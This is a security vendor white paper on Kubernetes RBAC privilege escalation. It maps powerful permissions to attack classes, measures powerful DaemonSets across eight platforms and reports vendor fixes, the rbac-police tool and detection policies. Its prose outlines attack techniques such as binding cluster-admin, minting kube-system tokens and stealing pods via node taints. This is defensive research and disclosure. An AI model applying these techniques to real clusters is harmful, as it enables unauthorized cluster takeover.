Authors . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
Contributors . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
Appendix A: Powerful Permissions by Attack Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
Manipulate Authentication/Authorization (AuthN/AuthZ) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
Acquire Tokens . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
Remote Code Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
Steal Pods . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
Meddler-in-the-Middle . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
3
Prisma by Palo Alto Networks | Kubernetes Privilege Escalation: Excessive Permissions in Popular Platforms | White Paper
Foreword
Kubernetes adoption has skyrocketed in recent years, with more users deploying, testing, and con-
tributing to the project. Weak defaults are a typical growing pain for emerging and complex platforms,
and Kubernetes has been no exception. Today though, most Kubernetes® platforms have rooted out
insecure defaults, and previously widespread misconfigurations like Kubelets that allow unauthorized
access are becoming less and less common. Threat actors who were used to compromising clusters
through blatantly simple attacks are probably not very pleased with new improvements, but it seems
like the pragmatic ones are starting to evolve and target subtler issues.
Unit 42 recently witnessed that trend in the wild as they caught a sample of Siloscape—one of the most
sophisticated Kubernetes malware samples to date. Siloscape chained together multiple exploits to
compromise pods, escape and take over nodes, and ultimately gain control over entire clusters. Siloscape
demonstrated an approach that wasn’t previously seen in the wild: after compromising a node, it checked
whether it had excessive permissions and didn’t bother continuing the attack if it didn’t.
As simpler Kubernetes attacks lose relevance, adversaries have begun targeting excessive permissions
and Role-Based Access Control (RBAC) misconfigurations.
Kubernetes RBAC holds the potential to enforce least-privileged access
and demoralize attackers, but misconfigurations are easy to miss. Seem-
ingly restricted permissions are often surprisingly powerful, making basic
questions like “Which pods can escalate privileges?” difficult to answer. In
this report, we aim to address that problem. We introduce a framework that
classifies powerful permissions by the attacks they enable; map dozens of
the most powerful Kubernetes permissions to it; and release rbac-police,
an open source tool that can identify powerful permissions and privilege
escalation paths in Kubernetes clusters.
To understand the prevalence and impact of powerful permissions, we’ve
analyzed popular Kubernetes platforms—managed services, distributions,
and container network interfaces (CNIs)—and looked for infrastructure
components running with excessive permissions. In 62.5% of the Kubernetes
platforms reviewed, powerful DaemonSets distributed powerful creden-
tials across every node in the cluster. As a result, in 50% of platforms, a single
container escape was enough to compromise the entire cluster.
We partnered with affected platforms to address these findings and strip
excessive permissions. From the original 62.5% that ran powerful DaemonSets,
only 25% remain. Likewise, the percentage of platforms where container escape
was guaranteed to result in cluster takeover dropped from 50% to just 25%, with
more soon to follow. While this moves the needle in the right direction, RBAC
misconfigurations and excessive permissions are likely to remain a significant
Kubernetes security risk for the near future.
Read on to gain a better understanding of RBAC risks and how you can address them through open
source tools and best practice configurations. Learn to transform RBAC from a blind spot into an
additional layer of defense.
Kubernetes Role-Based Access
Control (RBAC) is the main
authorization scheme in Kubernetes,
and governs the permissions of
users, groups, pods, and nodes over
Kubernetes resources .
DaemonSets are commonly used
to deploy infrastructure pods onto
all worker nodes .
4
Prisma by Palo Alto Networks | Kubernetes Privilege Escalation: Excessive Permissions in Popular Platforms | White Paper
Executive Summary
Kubernetes platforms have made significant strides in security in recent years, rooting out critical
misconfiguration and establishing secure baselines. With fewer clusters vulnerable to straightforward
attacks, threat actors are starting to adapt and look for techniques abusing subtler issues. Recent malware
samples indicate Kubernetes threat actors are beginning to target excessive permissions.
Kubernetes Role-Based Access Control (RBAC) is an authorization scheme that governs the permissions
of users, groups, service accounts, and pods over Kubernetes resources. When used correctly, RBAC can
enforce least-privileged access and demoralize attackers. When misconfigured, excessive permissions
expose the cluster to privilege escalation attacks and increase the blast radius of compromised creden-
tials and container escape.
RBAC Misconfigurations are Easy to Miss
Seemingly restricted permissions can be surprisingly powerful and, in some cases, on par with cluster
admin. As a result, open source add-ons and infrastructure components inadvertently ask for powerful
permissions, and users grant them without realizing the full impact on their cluster’s security.
Prisma® Cloud researchers identified dozens of powerful Kubernetes permissions, known and novel,
and classified them based on the attacks they enable into five major Kubernetes attack types.
Figure 1: Powerful Kubernetes permissions by attack class
Manipulate AuthN/Z
Acquire Tokens
RCE
Steal Pods
Meddler-in-the-Middle
1
6
0
2
4
6
8
7
6
# of powerful permissions
7
7
Powerful Permissions are Widespread
To understand the prevalence of powerful permissions, Prisma Cloud researchers analyzed popular
Kubernetes platforms—managed services, distributions, and container network interfaces (CNIs)—to
identify powerful DaemonSets that distribute powerful credentials across every node in the cluster.
Out of the Kubernetes distributions and managed services examined, 75% ran powerful DaemonSets
by default. The remaining 25% did so as well given a recommended feature was enabled. Examining
mainstream Container Network Interfaces (CNIs), 50% installed powerful DaemonSets by default.
Excessive Permissions Lead to Impactful Attacks
When powerful permissions are loosely granted, they’re more likely to fall into the wrong hands. In Ku-
bernetes, that could occur in a number of ways, but it's most easily visible with powerful DaemonSets
and container escapes.
The blast radius of container escape drastically increases when powerful tokens are distributed across
every node by powerful DaemonSets. Based on the identified DaemonSets, in 50% of the Kubernetes
platforms reviewed, a single container escape was enough to compromise the entire cluster.
In 12.5% of platforms, a single container escape was likely enough to take over some clusters. For
another 12.5%, container escape was enough to compromise the entire cluster given a recommended
feature was enabled.
5
Prisma by Palo Alto Networks | Kubernetes Privilege Escalation: Excessive Permissions in Popular Platforms | White Paper
Yes
50%
25%
No
12.5%
Likely in Some Clusters
12.5%
With Certain Features
Container Escape == Cluster Admin?
Figure 2: Impact of container escape in the analyzed Kubernetes platforms
RBAC Misconfigurations are Solvable
Prisma Cloud researchers worked with vendors and open source projects to strip excessive permissions
and reduce the distribution of powerful credentials. From the original 62.5% running powerful
DaemonSets, only 25% remain. Likewise, the number of platforms where container escape is guaran-
teed to result in cluster takeover dropped from 50% to just 25%. This demonstrates that RBAC mis-
configurations are solvable and that powerful permissions can often be removed. It also highlights the
commitment of the reviewed vendors and open source projects to the security of their platforms.
To help Kubernetes users evaluate and improve the RBAC posture of their clusters, this report is
released alongside rbac-police, a new open source tool that can identify powerful permissions and
privilege escalation paths in Kubernetes clusters. New RBAC checks were also contributed to Checkov,
a leading open source infrastructure as code (IaC) scanner.
Finally, the Recommendations section explores a number of best practices that decrease the distri-
bution of powerful credentials and limit the blast radius of compromised ones, along with admission
policies that can detect and prevent privilege escalation attacks in real time.
6
Prisma by Palo Alto Networks | Kubernetes Privilege Escalation: Excessive Permissions in Popular Platforms | White Paper
The ‘reader-sa’ service account is now authorized to perform the operations listed in the ‘pod-reader’
ClusterRole.
As seen above, Kubernetes permissions are expressed by rules. Each rule permits one or more verbs
over one or more resources in one or more API groups. The rule above permits listing and getting pods
in the core API group. Common verbs include:
• get: retrieve a resource by name
• list: retrieve all resources
• create: create a resource
• update: replace an existing resource
• patch: modify an existing resource
• delete: delete a resource
Roles and ClusterRoles (i.e., permissions) can be granted to a pod by bind-
ing them to its service account, as illustrated in figure 3. A pod assigned
the ‘reader-sa’ service account, for example, will be able to retrieve pods
cluster-wide.
Role
RoleBinding
Pod
ServiceAccount
Figure 3: A Role granted to a pod
Role-Based Access Control 101
Kubernetes RBAC is an authorization scheme that governs access to Kubernetes resources. Permissions
are grouped into Roles or ClusterRoles, and can be granted via RoleBindings or ClusterRoleBindings to
users, groups, and service accounts. Permissions granted via RoleBindings are scoped to a namespace,
while ones granted via ClusterRoleBindings are in effect cluster-wide.
The ClusterRoleBinding that follows, for example, grants the ‘pod-reader’ ClusterRole to the ‘read-
er-sa’ service account.
7
Prisma by Palo Alto Networks | Kubernetes Privilege Escalation: Excessive Permissions in Popular Platforms | White Paper
Table 1: Powerful Kubernetes Permissions by Attack Class
Manipulate AuthN/Z
Acquire Tokens
RCE
Steal Pods
MitM
impersonate
list secrets
create pods/exec
modify nodes
control endpointslices
escalate
create secrets
update pods/ephemeral-
containers
modify nodes/status
modify endpoints
bind
create serviceaccounts/
token
create nodes/proxy
create pods/eviction
modify services/status
approve signers
create pods
control pods
delete pods
modify services/status
update certificatesignin-
grequests/approval
control pod controllers
control pod controllers
delete nodes
modify pods
control mutating
webhooks
control validating
webhooks
control mutating web-
hooks
modify pods/status
create services
—
control mutating
webhooks
—
modify pods
control mutating
webhooks
Scope is key when it comes to powerful permissions. A permission can be admin-equivalent when
granted over the entire cluster, but harmless when scoped to a namespace or to specific resource
names. In order to include all possible powerful permissions, the table above assumes permissions are
granted cluster-wide.
Certain powerful permissions enable a number of attacks and are thus mapped to multiple attack
classes. On the other hand, some of the more complicated attacks require a combination of their listed
permissions to carry out. Permissions that aren’t powerful enough to carry the attack on their own are
marked in yellow.
To avoid disproportionate inflation, Table 1 aggregates similar verbs and resources. The update and
patch verbs were aggregated to a virtual “modify” verb, while modify and create were combined to
“control”. DaemonSets, Deployments, CronJobs and other pod controllers were counted as “pod con-
trollers”. Therefore, write privileges over pod controllers are represented as one virtual “control pod
controllers” permission rather than the actual 21 related permissions (e.g., create Deployments, update
Deployments, patch Deployments, create CronJobs, etc.).
Figure 4: Powerful RBAC permissions by attack class
Manipulate AuthN/Z
Acquire Tokens
RCE
Steal Pods
Meddler-in-the-Middle
1
6
0
2
4
6
8
7
6
# of powerful permissions
7
7
Classifying Powerful Kubernetes Permissions
Attackers may abuse certain Kubernetes permissions to escalate privileges, move laterally or obtain
broader control over a cluster. From here on, those will be referred to as ‘powerful permissions.’
Some powerful permissions are near-equivalent to cluster admin, while others can only be abused in
specific scenarios for limited attacks. To establish a common framework when discussing powerful
permissions, we classified them based on the attacks they enable into five attack types.
8
Prisma by Palo Alto Networks | Kubernetes Privilege Escalation: Excessive Permissions in Popular Platforms | White Paper
It’s unlikely that Table 1 contains every powerful permission in Kubernetes, but it’s the most complete
list we’re aware of. It’s also worth noting that there are other “weaker” attack classes that we haven’t
looked into, such as Denial-of-Service (DoS).
Below is a breakdown of each attack class.
Acquire Tokens
This group contains permissions that allow, either directly or indirectly, to retrieve or issue service
account tokens. The main factor that dictates the impact of these permissions is their scope— whether
or not they’re granted over a privileged namespace that hosts powerful service accounts. The only
namespace that’s privileged by default is kube-system, but some platforms may install additional
privileged namespaces.
Permissions include: create pods, create secrets, list secrets, update Deployments, create
serviceaccounts/token
Attack Example
An attacker armed with the create serviceaccounts/token permission in the kube-system namespace
can issue new tokens for pre-installed powerful service accounts through TokenRequests.
Remote Code Execution
Permissions in this group allow executing code on pods, and possibly on nodes. Attackers won’t neces-
sarily escalate privileges by abusing these permissions—it depends on the permissions of the attacked
pod or node. Still, these permissions increase the compute resources and possibly the business logic
that is under the attacker’s control.
Permissions include: create pods/exec, create nodes/proxy, patch DaemonSets, create pods
Attack Example
An attacker armed with the create pods/exec permission can execute code on other pods, for example
via the interface provided by kubectl exec.
Manipulate Authentication/Authorization (AuthN/AuthZ)
Permissions in this group permit manipulation of authentication and authorization. They often enable
privilege escalation by design for use cases like granting permissions or impersonating other identities.
They’re extremely powerful, and users should be extra careful when granting them.
Permissions include: bind clusterrolebidings, impersonate serviceaccounts, escalate roles
Attack Example
An attacker that can bind clusterrolebindings can grant the pre-installed cluster-admin clusterrole to
his compromised identity.
Steal Pods
Certain permissions or permission combinations may allow attackers to steal pods from one node to
another. For this attack to be impactful, the attacker must first compromise a node where he intends to
place the stolen pod. Stealing a pod consists of two steps: evicting a pod, and then ensuring it lands on
your node. To maximize impact, attackers would target pods with powerful service account tokens.
A similar attack—affecting the scheduling of future pods—isn’t covered as part of this report.
Permissions include: update nodes, create pods/eviction, delete pods, update nodes/status
Attack Example
An attacker that compromised a node and has the update nodes permission can steal pods from other
nodes onto his compromised node. By adding a taint with the NoExecute effect to the target node, the
attacker can force Kubernetes to evict and reschedule the target node’s pods. By adding a taint with the
NoSchedule effect to all other nodes, the attacker can ensure the evicted pods are rescheduled onto his
compromised node.
It’s worth noting that pods that tolerate NoExecute taints cannot be stolen through this technique.
These pods aren’t very common, but one popular example would be the admin-equivalent “tigera-
operator” pod installed by Calico.
To the best of our knowledge, stealing pods with NoExecute taints is a novel attack technique.
9
Prisma by Palo Alto Networks | Kubernetes Privilege Escalation: Excessive Permissions in Popular Platforms | White Paper
Meddler-in-the-Middle
Permissions in this group may allow attackers to launch meddler (man)-in-the-middle attacks against
pods, nodes, or services in the cluster. Exploiting permissions in this group often requires a number of
prerequisites for relatively weak impact. Additionally, securing communication with TLS can nullify
most MitM attacks.
Permissions include: update services/status, control endpointslices, patch pods/status
Attack Example
An attacker armed with the update services/status permission can exploit CVE-2020-8554 via Load
Balancer IPs to redirect traffic sent by pods and nodes from its intended target to an existing endpoint.
The attacker must control an existing endpoint for this to be a meaningful attack.
Container Escapes and Powerful DaemonSets: A Toxic
Combination
When powerful permissions are loosely granted, they’re more likely to fall into the wrong hands. In Ku-
bernetes, that could occur in a number of ways, but it's most easily visible with powerful DaemonSets
and container escapes.
The blast radius of container escapes drastically increases when powerful DaemonSets distribute
powerful tokens across every node in the cluster. With powerful DaemonSets installed, attackers
that managed to escape a container are guaranteed to hit the jackpot—powerful credentials on their
compromised node.
Figure 5: Powerful DaemonSets drastically increase the impact of container escape
api-server
Pod
Trampoline
Node
Pod
Trampoline
Node
Pod
Trampoline
Node
We use “Trampoline pods” as a synonym for powerful pods. The name denotes their impact: attack-
ers that manage to compromise a Trampoline pod or its node can abuse its token to jump around the
cluster, compromise other nodes and gain higher privileges. Not all Trampolines offer the same bounce.
Depending on their permissions, some may allow an attacker to compromise the entire cluster, while
others may only be abused in certain scenarios.
It’s reasonable to run some powerful pods. Powerful permissions exist for a reason: they’re sometimes
needed. Powerful pods that don’t run as parts of DaemonSets can be isolated from untrusted and pub-
licly exposed ones through several methods (described in “Recommendations”). Even without actively
taking measures to isolate them, non-DaemonSet Trampolines are simply less likely to be present on a
particular compromised node.
10
Prisma by Palo Alto Networks | Kubernetes Privilege Escalation: Excessive Permissions in Popular Platforms | White Paper
Figure 6: Non-DaemonSet trampolines can be isolated from
untrusted pods, either actively or by chance
Pod
Node
Pod
Node
Pod
Trampoline
Node
Pod
Pod
What primarily makes Trampoline DaemonSets a security concern is the distribution of powerful creden-
tials. With powerful DaemonSets, every node in the cluster hosts powerful credentials, meaning attackers
that managed to escape a container are guaranteed to find a powerful token on the compromised node.
Figure 7: With Powerful DaemonSets, attackers are guaranteed
to find powerful credentials on a compromised node
Pod
Trampoline
Node
Pod
Trampoline
Node
Pod
Trampoline
Node
Aren’t Nodes Powerful by Default?
Without powerful DaemonSets, the only cluster credentials available on a node belong to the node
agent—the Kubelet. In 2017, Kubernetes addressed privilege escalation attacks rooted in the Kubelet
permissions by releasing the NodeRestriction admission controller. NodeRestriction limits the
permissions of the Kubelet to resources that are already bound to its node, like the pods running on
top of it. As a result, nodes cannot escalate privileges or become cluster admins, and thus without
Trampoline Pods, a container escape isn't enough to take over the entire cluster.
It's worth noting that NodeRestiction isn't perfect - Kubelets can still read most cluster objects, bypass
egress network policies, initiate certain Denial-of-Service (DoS) attacks, and even launch Meddler-
in-the-Middle attacks against pod-backed services. While these are all possible, it's important to
differentiate from permissions that enable low severity attacks against certain configurations, from
ones that can be reliably abused to escalate privileges and compromise clusters.
The next section goes over Trampoline DaemonSets in popular Kubernetes platforms. We didn't consider
DaemonSets to be powerful if they only enabled low severity or unreliable attacks, including those that
Kubelets can carry out independently. Daemonsets were only considered powerful if their permissions
could realistically lead to a full cluster compromise.
Powerful DaemonSets in Popular Kubernetes Platforms
To understand the prevalence and real-world impact of powerful permissions, Prisma Cloud
researchers analyzed eight popular Kubernetes platforms and looked for DaemonSets running with
powerful permissions.
11
Prisma by Palo Alto Networks | Kubernetes Privilege Escalation: Excessive Permissions in Popular Platforms | White Paper
Table 2: Analyzed Kubernetes Platforms
Platform
Type
Vendor
Analyzed Kubernetes Platforms
Managed Service
Microsoft Azure
Elastic Kubernetes Service (EKS)
Managed Service
Amazon Web Services
Google Kubernetes Engine (GKE)
Managed Service
Google Cloud Platform
Openshift Container Platform (OCP)
Distribution
Red Hat
Antrea
CNI
Open Source
Calico
CNI
Open Source
Cilium
CNI
Open Source
Weave Net
CNI
Open Source
Out of the Kubernetes platforms examined, 62.5% installed powerful DaemonSets by default, while
another 12.5% did so as well with a recommended feature enabled.
Figure 8: Popular DaemonSets in the analyzed Kubernetes platforms
Yes
62.5%
25%
No
12.5%
Certain Features
Table 3: Powerful DaemonSet in the Analyzed Kubernetes Platforms
Platform
Powerful DaemonSets
DaemonSet
Most Powerful Permissions
AKS
Yes
cloud-node-manager, csi-azurefile-*
list secrets, update nodes
EKS
Yes
aws-node
update nodes
GKE
Only with Dataplane v2
anetd
update nodes, update pods
OCP
Yes
machine-config, sdn, multus-*
create pods, update validatingwebhook-
configurations
Antrea
Yes
antrea-agent
patch nodes, patch pods, update services,
update services/status
Calico
No
—
—
Cilium
Yes
cilium
update nodes, update pods, delete pods
Weave Net
No
—
—
12
Prisma by Palo Alto Networks | Kubernetes Privilege Escalation: Excessive Permissions in Popular Platforms | White Paper
Container Escape Blast Radius
Based on the identified powerful DaemonSets, in 50% of the Kubernetes platforms reviewed a single
container escape was enough to compromise the entire cluster. In another 12.5%, a container escape
was likely enough to take over some clusters. For 12.5% of platforms, a container escape was enough to
compromise the entire cluster given a recommended feature was enabled.
Figure 9: Impact of container escape in the analyzed Kubernetes platforms
Yes
50%
25%
No
12.5%
Likely In Some Clusters
12.5%
With Certain Features
Container Escape == Cluster Admin?
Table 4: Impact of Container Escape Across Analyzed Platforms
Platform
Escape == Admin
Attack
Prerequisite
AKS
Yes
Acquire Token → Manipulate AuthN/Z
—
EKS
Likely in some clusters
Steal Pods
A stealable powerful pod
GKE
With Dataplane v2
Steal Pod / RCE → Acquire token → Manip-
ulate AuthN/Z
Dataplane v2 enabled
OCP
Yes
Acquire Token
—
Antrea
Yes
Steal Pods / RCE → Acquire token →
Manipulate AuthN/Z
—
Calico
No
—
—
Cilium
Yes
Steal Pod / RCE -→ Acquire token → Ma-
nipulate AuthN/Z
—
Weave Net
No
—
—
In some platforms, DaemonSets possessed admin-equivalent permissions, meaning that abusing them
to acquire admin privileges was straightforward. In other platforms, DaemonSets weren't powerful
enough to become full admins by themselves, but they did possess permissions that allowed them to
take over other pods. In most of these platforms, because admin-equivalent pods were installed by
default, attackers could still abuse the platform's DaemonSets to acquire admin privileges.
In Antrea, for example, the antrea-agent DaemonSet wasn't powerful enough to acquire admin privileg-
es by itself, but it did possess powerful permissions allowing it to take over other pods. Because Antrea
installs an admin-equivalent pod by default, the antrea-controller, antrea-agent's permissions could still
have been exploited to acquire admin privileges by abusing them to compromise the antrea-controller pod.
13
Prisma by Palo Alto Networks | Kubernetes Privilege Escalation: Excessive Permissions in Popular Platforms | White Paper
If your clusters rely on one of the impacted platforms, please don’t panic. Here’s why:
1.
To abuse powerful DaemonSets, attackers first need to compromise and then escape a container.
Best practices and active defenses can prevent that.
2.
Several platforms have already released versions that de-privilege powerful DaemonSets.
3.
Best practice hardenings can prevent certain attacks. For example, an allow-list policy for container
images can hinder lateral movement attacks that abuse the ‘patch pods’ permission to replace the
image of an existing pod with an attacker-controlled one.
4.
That being said, if you run multitenant clusters, you’re at greater risk.
A “Likely in Some Clusters” in the “Escape == Admin” column signifies that there’s a prerequisite for
a container escape to be enough to compromise the entire cluster, but that it’s likely to be met in some
clusters. For example, an attacker abusing a powerful DaemonSet that can Steal Pods can only acquire
cluster admin privileges if there’s an admin-equivalent pod to steal in the cluster.
In EKS for example, there isn’t such a pod by default. Still, based on the sheer number of popular Ku-
bernetes add-ons that install admin-equivalent pods, it’s likely that this prerequisite is met in many
clusters in-the-wild. Some popular projects that install admin-equivalent pods by default include
ingress-nginx, cert-manager, Kynvero, traefik, and aws-load-balancer.
It's worth noting that with Cilium, there were two popular installation methods. The table above pertains
to the one documented as the default—the cilium-cli. While the default Helm installation also deployed
the same powerful DaemonSet that can take over other pods, it didn't deploy an admin-equivalent pod
that can be targeted by it. Accordingly, when Cilium was installed via Helm, a container escape was only
enough to compromise the entire cluster given the user installed an admin-equivalent pod (or, in other
words, "Likely in Some Clusters").
Powerful Kubelets in Popular Platforms
While the majority of Kubernetes distributions and managed services have adopted the NodeRestriction
admission controller, some still run powerful Kubelets. Powerful Kubelets introduce the same security risks
as powerful DaemonSets—compromised nodes can escalate privileges and take over the rest of the cluster.
Below is a breakdown of powerful Kubelets across the analyzed managed services and distributions.
Table 5: Powerful Kubelets Across Analyzed Managed Services and Distributions
Platform
Type
Powerful Kubelets
AKS
Managed Service
Yes
EKS
Managed Service
No
GKE
Managed Service
No
OCP
Distribution
No
Fixes and Mitigations by Affected Platforms
We reported the identified powerful DaemonSets and Kubelets to affected vendors and open source
projects between December 2021 and February 2022. The vast majority of platforms pledged to strip
powerful permissions from their Daemonsts, and some of them have already done so. From the original
62.5%, only 25% still run powerful DaemonSets.
Table 6: Fixes and Mitigations by Affected Platforms
Platform
Had Powerful DaemonSets
Fixed
Had Powerful Kubelets
Fixed
AKS
Yes
No
Yes
WIP
EKS
Yes
Yes, from Kubernetes v1.18
No
—
GKE
With Dataplane v2
Yes, from v1.23.4-gke.900, 13022$ Bounty
No
—
OCP
Yes
WIP set for v4.11, possible backports
No
—
Antrea
Yes
Yes, v1.6.1 alongside an admission policy
No
—
Calico
No
—
No
—
Cilium
Yes
Yes, v1.12.0-rc2, some fixes backported
No
—
Weave Net
No
—
No
—
14
Prisma by Palo Alto Networks | Kubernetes Privilege Escalation: Excessive Permissions in Popular Platforms | White Paper
Platforms addressed powerful DaemonSets through a variety of techniques. Most applied one or more of
these three solutions:
1.
Remove: Certain permissions were deemed unnecessary, or too widely scoped, and were simply
removed.
2.
Relocate: Move the functionality that required the powerful permissions from DaemonSets
running on all nodes to deployments that run on few, or to the control plane.
3.
Restrict: Release admission policies that limit powerful DaemonSets to a number of safe and
expected operations.
According to the improvements above, the number of platforms where a single container escape is
enough to compromise the entire cluster dropped from 50% to just 25%. Keep in mind that this number
pertains to Kubernetes-native attacks and doesn’t cover possible platform-specific privilege escalations.
Figure 10: Impact of container escape in the analyzed Kubernetes platforms following fixes
75%
No
Yes
25%
Container Escape == Cluster Admin?
Stripping existing permissions can be challenging. We’d like to thank the vendors and open source
projects mentioned in this report for their effort to remove powerful DaemonSets and Kubelets from
their platforms.
Toward Better Node Isolation
One step at a time, Kubernetes is moving toward stronger node isolation. This effort started with the
NodeRestriction admission controller and is slowly inching forward with every powerful permission
removed from a popular DaemonSet. Complete node isolation is unlikely in the near future: some low
severity attacks will likely remain, and certain nodes will need to host powerful pods. That being said,
better node isolation is certainly possible. At the very least, clusters shouldn't host powerful credentials
on every node. Removing Trampoline DaemonSets can ensure the majority of nodes are unprivileged.
Some powerful permissions will be harder to drop, in part due to the lack of fine-grained access control
for certain operations. This shouldn't be seen as an "all or nothing" issue though. Even when certain
permissions cannot be easily stripped, it's still a welcomed improvement when a DaemonSet that could
previously acquire admin tokens is now only able to launch meddler-in-the-middle attacks.
Identifying Powerful Permissions
Whether you use a mentioned platform or not, if you run Kubernetes, your clusters likely host powerful
pods. The first step of addressing risky permissions is identifying them. The following tools can be used
to identify powerful permissions in running clusters and in Kubernetes manifests.
15
Prisma by Palo Alto Networks | Kubernetes Privilege Escalation: Excessive Permissions in Popular Platforms | White Paper
Figure 11: rbac-police alerts on excessive permissions of service accounts, pods, and nodes
Out of the box, rbac-police is equipped with more than 20 policies that each hunt for a different set of
powerful permissions. It’s also 100% customizable though. You can write your own policies that search
for any pattern in Kubernetes RBAC—powerful permissions we’ve missed, permissions that only affect
certain platforms, or ones related to CRDs (Custom Resources Definitions). If you end up writing a policy,
please consider contributing it.
Supported commands for rbac-police are as follows:
• rbac-police eval evaluates the RBAC permissions of services accounts, pods, and nodes through
built-in or custom Rego policies.
• rbac-police collect retrieves the RBAC permissions of services accounts, pods, and nodes in a clus-
ter. Useful for saving a RBAC snapshot of the cluster for multiple evaluations with different options.
• rbac-police expand presents the RBAC permissions of services accounts, pods, and nodes in a
slightly more human friendly format. Useful for manual drilldown.
For fine-tuned evaluation, rbac-police provides a variety of options, including:
• --only-sa-on-all-nodes to evaluate only service accounts that exist on all nodes. Useful for identi-
fying powerful DaemonSets.
• --namespace, --ignored-namespaces to scope evaluation to a single namespace; ignore certain
namespaces.
• --severity-threshold to evaluate only policies with severity equal or larger than a threshold.
Additionally, rbac-police also supports policies that evaluate the effective permissions of a node—the
union of its Kubelet permissions and pods’ permissions. Some of the more complex attacks require a
number of permissions to execute. Thus, it is possible that while no single pod has all the permissions
necessary to carry out an attack, a combination of pods on a node do.
Check out rbac-police’s GitHub page for more information. If you run Kubernetes, consider trying it out.
It takes seconds to run and provides a lot of valuable insight into your RBAC posture and possible risks.
rbac-police
We’re very excited to release rbac-police, a tool we used throughout this research to identify powerful
permissions.
An open source command line interface (CLI) written in Golang, rbac-police retrieves the permissions
of pods, nodes, and services accounts in a cluster, and evaluates them through built-in or custom Rego
policies. Assessing the RBAC posture of your cluster is as easy as running ‘rbac-police eval lib’.
The image below shows a slice of rbac-police’s output:
16
Prisma by Palo Alto Networks | Kubernetes Privilege Escalation: Excessive Permissions in Popular Platforms | White Paper
Check out Checkov’s website for more information.
Recommendations
Tackling powerful RBAC permissions can be complex. They’re easy to miss and often asked by
third-party add-ons or the underlying infrastructure. Even when you manage the powerful component,
dropping permissions isn’t always straightforward and often involves code changes.
Whether you run Kubernetes clusters or maintain a popular Kubernetes project, below are best practic-
es and hardening measures that can improve your RBAC posture.
1.
Follow the principle of least privilege: only assign explicitly required permissions:
a. When possible, use RoleBindings to grant permissions over a certain namespace rather than clus-
ter-wide.
b. Use resourceNames to scope down permissions to specific resources.
2.
Track powerful permissions and ensure they’re not granted to less-trusted or publicly exposed pods.
If you maintain a Kubernetes project, document the powerful permissions asked by your platform.
3.
Refrain from running powerful DaemonSets:
a. Move functionalities that require powerful privileges from DaemonSets running on all nodes to
deployments running on few or to control plane controllers.
b. Rely on the Kubelet credentials for operations that only involve objects bound to the local node,
such as retrieving secrets of neighboring pods.
c. Minimize write permissions by storing state in CRDs and ConfigMaps rather than in core objects
like pods.
4.
Isolate powerful pods from untrusted or publicly exposed ones using scheduling constraints like
Taints and Tolerations, NodeAffinity rules, or PodAntiAfinity rules.
Checkov
Checkov is an open source static code analysis tool by Bridgecrew for scanning infrastructure as code (IaC)
files for misconfigurations that may lead to security or compliance problems. Checkov shifts security left
by alerting on misconfigurations before they’re committed to production environments.
We’ve recently contributed four new RBAC checks that alert on Kubernetes IaC files containing Roles or
ClusterRoles that define powerful permissions: CKV_K8S_155, CKV_K8S_156, CKV_K8S_157 and CKV_
K8S_158. These focus on highly powerful permissions that can be abused to manipulate authentication
and authorization, such as impersonation.
Checkov is currently adding support for graph checks that can evaluate connections between multiple
Kubernetes resources. Once that feature is released, expect to see more RBAC checks added.
Figure 12: Checkov alerts on a ClusterRole with powerful permissions
17
Prisma by Palo Alto Networks | Kubernetes Privilege Escalation: Excessive Permissions in Popular Platforms | White Paper
5.
Configure policy controllers to alert on automated identities such as service accounts and nodes that
query for their permissions via the SelfSubjectReviews APIs. These requests may point to compro-
mised credentials.
6.
Configure policy controllers to detect or prevent misuse of powerful permissions for nefarious activ-
ities. Abuse of powerful permissions often diverges from normal usage. See the examples below for
more details.
Detecting Attacks with Admission Control
Quite often, compromised credentials exhibit irregular behaviors, and present an opportunity for de-
fenders to identify breaches. In Kubernetes, admission control can detect and prevent attacks powered
by compromised credentials and privileged permissions. Policy controllers like OPA Gatekeeper and
Kynvero can enforce policies that prevent or alert on suspicious requests to the Kubernetes API. Below
are two examples for this approach using OPA Gatekeeper.
Suspicious SelfSubjectReviews
A common attacker pattern following credential theft is querying the system for their permissions. In
Kubernetes, that is done via the SelfSubjectAccessReview or SelfSubjectRulesReview APIs. Non-human
identities like serviceAccounts and nodes querying these APIs for their permissions are strong indica-
tors of compromise. A policy that detects these requests offers a great opportunity to catch compro-
mised credentials.
Here’s an example of a policy for OPA Gatekeeper that detects such queries.
Suspicious Assignment of Controller Service Accounts
By default, the kube-system namespace hosts several admin-equivalent service accounts that are used
by controllers running as part of the api-server. Attackers that can create pods or pod controllers in
the kube-system namespace, or modify pod controllers in kube-system namespace, can assign one
of these admin-equivalent service accounts to a pod in their control and abuse their powerful token to
gain complete control over the cluster.
In the framework introduced in “Classifying Powerful Kubernetes Permissions,” this attack is classified
under Acquire Tokens.
Controller service accounts aren’t normally assigned to running pods. Defenders can capitalize on that
to detect this privilege escalation attack with a policy that alerts on requests that attach a controller
service account to an existing or new kube-system pod. We wrote an example for OPA Gatekeeper,
which is available here.
Conclusion
As outlined in this report, excessive RBAC permissions are common, easily missed, and can result in
impactful privilege escalation attacks against Kubernetes clusters. At the same time, hardened RBAC
settings can enforce least privilege, block unintended access, and demoralize attackers.
Maintaining a secure RBAC posture can be challenging due to the dynamic nature of Kubernetes and the
number of third-party add-ons commonly used to operate modern clusters. Refer to the “Identifying
Powerful Permissions” section for tools like rbac-police that can evaluate your RBAC posture, and see
